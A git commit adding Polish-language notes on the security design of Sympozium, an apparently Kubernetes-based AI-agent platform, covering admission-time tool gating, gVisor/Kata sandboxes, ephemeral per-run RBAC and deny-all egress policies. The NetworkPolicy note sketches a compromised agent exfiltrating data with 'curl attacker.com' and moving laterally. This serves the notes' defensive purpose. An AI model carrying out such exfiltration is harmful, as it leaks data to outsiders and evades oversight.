initial commit
This commit is contained in:
69
05-Bezpieczeństwo/Admission Webhooks i polityki.md
Normal file
69
05-Bezpieczeństwo/Admission Webhooks i polityki.md
Normal file
@@ -0,0 +1,69 @@
|
||||
# Admission Webhooks i polityki
|
||||
|
||||
#sympozium #security #admission #webhook
|
||||
|
||||
## Koncepcja
|
||||
|
||||
Polityki Sympozium są enforcowane **at admission time** - przed utworzeniem poda, nie at runtime. To gwarantuje że żaden AgentRun nie ominie polityki.
|
||||
|
||||
## Przepływ
|
||||
|
||||
```
|
||||
kubectl apply -f agentrun.yaml
|
||||
↓
|
||||
K8s API Server → Admission Webhook
|
||||
↓
|
||||
Webhook:
|
||||
1. Odczytuje policyRef z SympoziumInstance
|
||||
2. Ładuje SympoziumPolicy
|
||||
3. Sprawdza:
|
||||
├── Sandbox requirements (required? image? resources?)
|
||||
├── Agent Sandbox requirements (runtime class allowed?)
|
||||
├── Tool gating (allow/deny/ask per tool)
|
||||
├── Feature gates (memory? web-endpoint? channels?)
|
||||
├── Subagent limits (maxDepth? maxConcurrent?)
|
||||
└── Network policy rules
|
||||
4. ALLOW → AgentRun created
|
||||
DENY → AgentRun rejected z clear error message
|
||||
```
|
||||
|
||||
## Kluczowe różnice vs runtime enforcement
|
||||
|
||||
| Aspekt | Admission-time | Runtime |
|
||||
|--------|---------------|---------|
|
||||
| Timing | Przed tworzeniem zasobu | Po uruchomieniu |
|
||||
| Obejście | Niemożliwe (K8s API layer) | Możliwe (process-level) |
|
||||
| Feedback | Natychmiast (synchroniczny) | Opóźniony (async) |
|
||||
| Overhead | Tylko przy tworzeniu | Ciągły monitoring |
|
||||
|
||||
## Tool Gating
|
||||
|
||||
```yaml
|
||||
toolGating:
|
||||
defaultAction: deny
|
||||
rules:
|
||||
- tool: read_file
|
||||
action: allow
|
||||
- tool: execute_command
|
||||
action: deny
|
||||
- tool: write_file
|
||||
action: ask # Human-in-the-loop
|
||||
```
|
||||
|
||||
Trzy akcje:
|
||||
- `allow` - tool dozwolony
|
||||
- `deny` - tool zablokowany (webhook reject)
|
||||
- `ask` - wymaga human approval (future feature)
|
||||
|
||||
## Presetowe polityki
|
||||
|
||||
```
|
||||
config/policies/
|
||||
├── permissive.yaml # Dev/demo: all allowed
|
||||
├── default.yaml # General: execute_command requires approval
|
||||
└── restrictive.yaml # Production: deny-by-default, whitelist
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[SympoziumPolicy]] | [[Model bezpieczeństwa Defence-in-Depth]] | [[Efemeryczny RBAC per-run]]
|
||||
108
05-Bezpieczeństwo/Agent Sandbox - gVisor i Kata.md
Normal file
108
05-Bezpieczeństwo/Agent Sandbox - gVisor i Kata.md
Normal file
@@ -0,0 +1,108 @@
|
||||
# Agent Sandbox - gVisor i Kata
|
||||
|
||||
#sympozium #security #sandbox #gvisor #kata
|
||||
|
||||
## Koncepcja
|
||||
|
||||
Agent Sandbox to **opcjonalna warstwa izolacji na poziomie kernela** integrująca `kubernetes-sigs/agent-sandbox`. Zamiast tworzenia [[Job]], [[Controller i Reconciler|controller]] tworzy Sandbox CR (patrz [[CRD - Custom Resource Definition|CRD]]).
|
||||
|
||||
## Porównanie
|
||||
|
||||
| Cecha | Default (Job) | Agent Sandbox |
|
||||
|-------|---------------|---------------|
|
||||
| Izolacja | Container (cgroups, namespaces) | Kernel-level |
|
||||
| [[gVisor]] | Nie | Tak - user-space kernel |
|
||||
| [[Kata Containers\|Kata]] | Nie | Tak - lightweight VM |
|
||||
| Cold start | 5-30s | Warm pools: ~1s |
|
||||
| Lifecycle | Run-to-completion | Suspend/resume |
|
||||
| Identity | Ephemeral pod name | Stable hostname |
|
||||
| Overhead | Niski | gVisor ~5-10%, Kata ~VM |
|
||||
|
||||
## Architektura
|
||||
|
||||
```
|
||||
AgentRun (agentSandbox.enabled: true)
|
||||
│
|
||||
├── Normalny flow: Controller → Sandbox CR
|
||||
│ └── spec.podTemplate = ten sam co Job
|
||||
│ └── spec.runtimeClassName: gvisor/kata
|
||||
│ └── ownerReference → AgentRun
|
||||
│
|
||||
└── Z warm pool: Controller → SandboxClaim
|
||||
└── Claims pre-warmed sandbox z SandboxWarmPool
|
||||
```
|
||||
|
||||
## Warm Pools
|
||||
|
||||
Eliminują cold start:
|
||||
|
||||
```
|
||||
Bez warm pool:
|
||||
AgentRun → Sandbox CR → Pod scheduled → Image pulled → Ready
|
||||
(~5-30 sekund)
|
||||
|
||||
Z warm pool:
|
||||
AgentRun → SandboxClaim → Pre-warmed sandbox → Ready
|
||||
(~1 sekunda)
|
||||
```
|
||||
|
||||
### Konfiguracja
|
||||
```yaml
|
||||
# SympoziumInstance
|
||||
spec:
|
||||
agents:
|
||||
default:
|
||||
agentSandbox:
|
||||
enabled: true
|
||||
warmPool:
|
||||
size: 3 # 3 pre-warmed sandboxes
|
||||
runtimeClass: gvisor
|
||||
```
|
||||
|
||||
Controller automatycznie tworzy SandboxWarmPool CR.
|
||||
|
||||
## Policy enforcement
|
||||
|
||||
```yaml
|
||||
# SympoziumPolicy
|
||||
spec:
|
||||
sandboxPolicy:
|
||||
agentSandboxPolicy:
|
||||
required: true # WYMUSZAJ agent-sandbox
|
||||
defaultRuntimeClass: gvisor
|
||||
allowedRuntimeClasses: [gvisor, kata] # Whitelist runtimes
|
||||
```
|
||||
|
||||
## Komplementarność z innymi warstwami
|
||||
|
||||
Agent Sandbox **uzupełnia** istniejące zabezpieczenia:
|
||||
|
||||
| Warstwa | Aktywna z Agent Sandbox? |
|
||||
|---------|--------------------------|
|
||||
| NetworkPolicy deny-all | Tak |
|
||||
| Pod SecurityContext | Tak |
|
||||
| SympoziumPolicy webhook | Tak |
|
||||
| Ephemeral skill RBAC | Tak |
|
||||
| Seccomp profile | Tak |
|
||||
| **+ Kernel isolation** | **NOWE** |
|
||||
|
||||
## Graceful degradation
|
||||
|
||||
| Scenariusz | Zachowanie |
|
||||
|------------|------------|
|
||||
| Disabled w Helm | Zero code paths, zero overhead |
|
||||
| Enabled, CRDs not installed | Warning log, feature disabled |
|
||||
| Enabled, CRDs installed, no gVisor | Sandbox CRs work, no kernel isolation |
|
||||
| Fully configured | Full kernel-level isolation |
|
||||
|
||||
## Mutual exclusivity
|
||||
|
||||
Dwa koncepty "sandbox":
|
||||
- `sandbox.enabled` → sidecar container (stary)
|
||||
- `agentSandbox.enabled` → Sandbox CR (nowy, kernel-level)
|
||||
|
||||
Nie mogą być oba włączone - webhook to enforcuje.
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[SympoziumPolicy]] | [[Model efemerycznych agentów]]
|
||||
77
05-Bezpieczeństwo/Efemeryczny RBAC per-run.md
Normal file
77
05-Bezpieczeństwo/Efemeryczny RBAC per-run.md
Normal file
@@ -0,0 +1,77 @@
|
||||
# Efemeryczny RBAC per-run
|
||||
|
||||
#sympozium #security #rbac
|
||||
|
||||
## Koncepcja
|
||||
|
||||
Odpowiednik **temporary IAM session credentials** w Kubernetes (patrz [[RBAC]] dla wyjaśnienia systemu). Credentials istnieją TYLKO przez czas trwania AgentRun.
|
||||
|
||||
## Lifecycle
|
||||
|
||||
```
|
||||
AgentRun CREATED
|
||||
↓
|
||||
Controller tworzy:
|
||||
├── Role (namespace-scoped)
|
||||
│ ├── ownerRef → AgentRun
|
||||
│ └── rules: [z SkillPack.sidecar.rbac]
|
||||
├── RoleBinding
|
||||
│ ├── ownerRef → AgentRun
|
||||
│ └── subject → ServiceAccount "sympozium-agent"
|
||||
├── ClusterRole (cluster-scoped)
|
||||
│ ├── labels: sympozium.ai/agentrun: <name>
|
||||
│ └── rules: [z SkillPack.sidecar.clusterRBAC]
|
||||
└── ClusterRoleBinding
|
||||
├── labels: sympozium.ai/agentrun: <name>
|
||||
└── subject → ServiceAccount "sympozium-agent"
|
||||
↓
|
||||
[CREDENTIALS ACTIVE - sidecar can use them]
|
||||
↓
|
||||
AgentRun COMPLETED
|
||||
↓
|
||||
Controller czyści:
|
||||
├── Namespace RBAC → auto via ownerReference (K8s GC)
|
||||
└── Cluster RBAC → manual via label selector (controller)
|
||||
↓
|
||||
[CREDENTIALS DELETED - no standing access]
|
||||
```
|
||||
|
||||
## Dlaczego nie standing role?
|
||||
|
||||
### Problem standing god-role:
|
||||
```
|
||||
ServiceAccount z cluster-admin → ZAWSZE ma pełne uprawnienia
|
||||
→ Compromised pod = pełny dostęp do klastra
|
||||
→ Brak auditu "kto kiedy co robił"
|
||||
```
|
||||
|
||||
### Ephemeral RBAC:
|
||||
```
|
||||
Run #1: Role [get pods] → exists for 30s → deleted
|
||||
Run #2: Role [get deployments] → exists for 45s → deleted
|
||||
→ Credentials istnieją minimum possible time
|
||||
→ Każdy run ma TYLKO te uprawnienia które potrzebuje
|
||||
→ Pełny audit trail (RBAC resources w etcd)
|
||||
```
|
||||
|
||||
## Controller privilege
|
||||
|
||||
Controller sam potrzebuje `cluster-admin` bo:
|
||||
- Tworzy dowolne Role/ClusterRole (definiowane w SkillPacks)
|
||||
- K8s RBAC escalation prevention wymaga tego
|
||||
- To jedyny komponent z takimi uprawnieniami
|
||||
|
||||
## Namespace vs Cluster scope
|
||||
|
||||
| Typ | Mechanizm cleanup | Scope |
|
||||
|-----|-------------------|-------|
|
||||
| Role + RoleBinding | ownerReference → AgentRun | Namespace |
|
||||
| ClusterRole + ClusterRoleBinding | Label selector → controller cleanup | Cluster |
|
||||
|
||||
[[Namespace]]-scoped RBAC jest automatycznie garbage-collected przez K8s gdy AgentRun jest usunięty ([[ownerReference|ownerRef]] chain).
|
||||
|
||||
Cluster RBAC nie może mieć cross-namespace ownerRef (ograniczenie K8s - patrz [[ownerReference]]), więc [[Controller i Reconciler|controller]] czyści ręcznie po labelach.
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Skill Sidecars i auto-RBAC]] | [[Model bezpieczeństwa Defence-in-Depth]] | [[SkillPack]]
|
||||
112
05-Bezpieczeństwo/Model bezpieczeństwa Defence-in-Depth.md
Normal file
112
05-Bezpieczeństwo/Model bezpieczeństwa Defence-in-Depth.md
Normal file
@@ -0,0 +1,112 @@
|
||||
# Model bezpieczeństwa Defence-in-Depth
|
||||
|
||||
#sympozium #security #defence-in-depth
|
||||
|
||||
## Filozofia
|
||||
|
||||
Sympozium implementuje **defence-in-depth** - wiele niezależnych warstw bezpieczeństwa, gdzie przełamanie jednej nie daje dostępu do systemu.
|
||||
|
||||
## Warstwy bezpieczeństwa
|
||||
|
||||
```
|
||||
┌───────────────────────────────────────────────┐
|
||||
│ Warstwa 7: Agent Sandbox (gVisor/Kata) │ ← Izolacja kernela
|
||||
│ ┌───────────────────────────────────────────┐│
|
||||
│ │ Warstwa 6: NetworkPolicy (deny-all) ││ ← Izolacja sieciowa
|
||||
│ │ ┌───────────────────────────────────────┐││
|
||||
│ │ │ Warstwa 5: Admission Webhook │││ ← Walidacja przed tworzeniem
|
||||
│ │ │ ┌───────────────────────────────────┐│││
|
||||
│ │ │ │ Warstwa 4: Ephemeral RBAC ││││ ← Efemeryczne credentials
|
||||
│ │ │ │ ┌───────────────────────────────┐││││
|
||||
│ │ │ │ │ Warstwa 3: Pod SecurityContext │││││ ← Hardened container
|
||||
│ │ │ │ │ ┌───────────────────────────┐│││││
|
||||
│ │ │ │ │ │ Warstwa 2: Sidecar isol. ││││││ ← Separacja credentials
|
||||
│ │ │ │ │ │ ┌───────────────────────┐│││││││
|
||||
│ │ │ │ │ │ │ Warstwa 1: Ephemeral ││││││││ ← Krótki czas życia
|
||||
│ │ │ │ │ │ │ pod lifecycle ││││││││
|
||||
│ │ │ │ │ │ └───────────────────────┘│││││││
|
||||
│ │ │ │ │ └───────────────────────────┘││││││
|
||||
│ │ │ │ └───────────────────────────────┘│││││
|
||||
│ │ │ └───────────────────────────────────┘││││
|
||||
│ │ └───────────────────────────────────────┘│││
|
||||
│ └───────────────────────────────────────────┘││
|
||||
└───────────────────────────────────────────────┘│
|
||||
│
|
||||
Multi-tenancy (namespaced CRDs + K8s RBAC) ─────┘
|
||||
```
|
||||
|
||||
## Szczegóły warstw
|
||||
|
||||
### Warstwa 1: Ephemeral [[Pod]] Lifecycle
|
||||
- Każdy run = nowy pod = czyste środowisko
|
||||
- Brak persistent state w podzie
|
||||
- Automatyczny cleanup po zakończeniu
|
||||
- **Atak musi się zmieścić w jednym runie**
|
||||
|
||||
### Warstwa 2: [[Sidecar Pattern|Sidecar]] Isolation
|
||||
- Agent NIE MA credentials K8s API
|
||||
- Tylko skill sidecar ma [[RBAC]]
|
||||
- Tool calls przechodzą przez IPC (filesystem → NATS)
|
||||
- **Compromised agent nie ma bezpośredniego dostępu do klastra**
|
||||
|
||||
### Warstwa 3: Pod [[SecurityContext]]
|
||||
```yaml
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
runAsUser: 1000
|
||||
readOnlyRootFilesystem: true
|
||||
allowPrivilegeEscalation: false
|
||||
capabilities:
|
||||
drop: ["ALL"]
|
||||
seccompProfile:
|
||||
type: RuntimeDefault
|
||||
```
|
||||
|
||||
### Warstwa 4: Ephemeral [[RBAC]]
|
||||
- Credentials żyją TYLKO przez czas runu
|
||||
- Least-privilege (deklarowane w SkillPack)
|
||||
- [[Namespace]]-scoped ([[ownerReference|ownerRef]] GC) + Cluster-scoped (label-based cleanup)
|
||||
- **Brak standing god-role**
|
||||
|
||||
### Warstwa 5: [[Admission Webhook]]
|
||||
- `SympoziumPolicy` enforced PRZED tworzeniem poda
|
||||
- Tool gating (allow/deny/ask per tool)
|
||||
- Sandbox requirements
|
||||
- Feature gates
|
||||
- **Policy nie może być obejścia at runtime**
|
||||
|
||||
### Warstwa 6: [[NetworkPolicy]]
|
||||
- Deny-all egress na agent pods
|
||||
- Tylko IPC bridge ma dostęp do NATS
|
||||
- Whitelist konkretnych endpointów (API providerów)
|
||||
- **Agent nie może sięgnąć do internetu ani innych podów**
|
||||
|
||||
### Warstwa 7: Agent Sandbox (opcjonalna)
|
||||
- [[gVisor]]: user-space kernel - agent nie komunikuje się z host kernel
|
||||
- [[Kata Containers|Kata]]: lightweight VM - pełna izolacja na poziomie hypervisora
|
||||
- Warm pools eliminują cold-start penalty
|
||||
- **Nawet container escape nie daje dostępu do hosta**
|
||||
|
||||
## Multi-tenancy
|
||||
|
||||
Dodatkowa warstwa ortogonalna do powyższych:
|
||||
- CRDs namespace-scoped
|
||||
- Standard K8s RBAC kontroluje kto tworzy agentów
|
||||
- Każdy tenant (SympoziumInstance) izolowany
|
||||
- ownerReferences zapobiegają cross-tenant access
|
||||
|
||||
## Porównanie z alternatywami
|
||||
|
||||
| Warstwa | Sympozium | kagent | LangChain |
|
||||
|---------|-----------|--------|-----------|
|
||||
| Ephemeral lifecycle | Job per run | Persistent engine | In-process |
|
||||
| Sidecar isolation | Tak | Nie | Nie |
|
||||
| SecurityContext | Hardened | Standard | N/A |
|
||||
| Ephemeral RBAC | Tak | Standing SA | N/A |
|
||||
| Admission webhook | SympoziumPolicy | Nie | Nie |
|
||||
| NetworkPolicy | deny-all | Nie | Nie |
|
||||
| Kernel sandbox | gVisor/Kata | Nie | Nie |
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Agent Sandbox - gVisor i Kata]] | [[Efemeryczny RBAC per-run]] | [[NetworkPolicy i izolacja sieciowa]]
|
||||
76
05-Bezpieczeństwo/NetworkPolicy i izolacja sieciowa.md
Normal file
76
05-Bezpieczeństwo/NetworkPolicy i izolacja sieciowa.md
Normal file
@@ -0,0 +1,76 @@
|
||||
# NetworkPolicy i izolacja sieciowa
|
||||
|
||||
#sympozium #security #network
|
||||
|
||||
## Zasada
|
||||
|
||||
Agent pods mają **deny-all egress** - nie mogą komunikować się z internetem ani innymi podami. Jedyny punkt kontaktu to IPC Bridge sidecar → NATS.
|
||||
|
||||
## Implementacja
|
||||
|
||||
```yaml
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: NetworkPolicy
|
||||
metadata:
|
||||
name: agent-deny-all
|
||||
spec:
|
||||
podSelector:
|
||||
matchLabels:
|
||||
sympozium.ai/component: agent
|
||||
policyTypes:
|
||||
- Egress
|
||||
egress: [] # DENY ALL
|
||||
```
|
||||
|
||||
## Wyjątki (via SympoziumPolicy)
|
||||
|
||||
```yaml
|
||||
networkPolicy:
|
||||
denyAll: true
|
||||
allowDNS: true # Agent może rozwiązywać nazwy
|
||||
allowEventBus: true # IPC Bridge → NATS
|
||||
allowedEgress: # Whitelist
|
||||
- host: "api.openai.com"
|
||||
port: 443
|
||||
```
|
||||
|
||||
## Dlaczego to ważne?
|
||||
|
||||
### Scenariusz ataku bez NetworkPolicy:
|
||||
```
|
||||
Compromised agent → curl attacker.com → exfiltrate data
|
||||
Compromised agent → curl internal-api.svc → lateral movement
|
||||
```
|
||||
|
||||
### Z NetworkPolicy:
|
||||
```
|
||||
Compromised agent → curl anything → BLOCKED
|
||||
Agent → /ipc/*.json → IPC Bridge → NATS → Controller (kontrolowany przepływ)
|
||||
```
|
||||
|
||||
## Architektura izolacji
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────┐
|
||||
│ Agent Pod (deny-all egress) │
|
||||
│ │
|
||||
│ ┌──────────┐ ┌──────────────┐ │
|
||||
│ │ Agent │ │ IPC Bridge │→→→ NATS │
|
||||
│ │ (no net)│ │ (has net) │ │
|
||||
│ └──────────┘ └──────────────┘ │
|
||||
│ │ │
|
||||
│ └── /ipc/ (filesystem only) ──────┘│
|
||||
└──────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
Agent kontener:
|
||||
- Brak dostępu sieciowego
|
||||
- Komunikacja tylko przez filesystem (/ipc/)
|
||||
|
||||
IPC Bridge sidecar:
|
||||
- Ma dostęp TYLKO do NATS
|
||||
- Bridguje filesystem → NATS
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[Przepływ danych i IPC]] | [[SympoziumPolicy]]
|
||||
Reference in New Issue
Block a user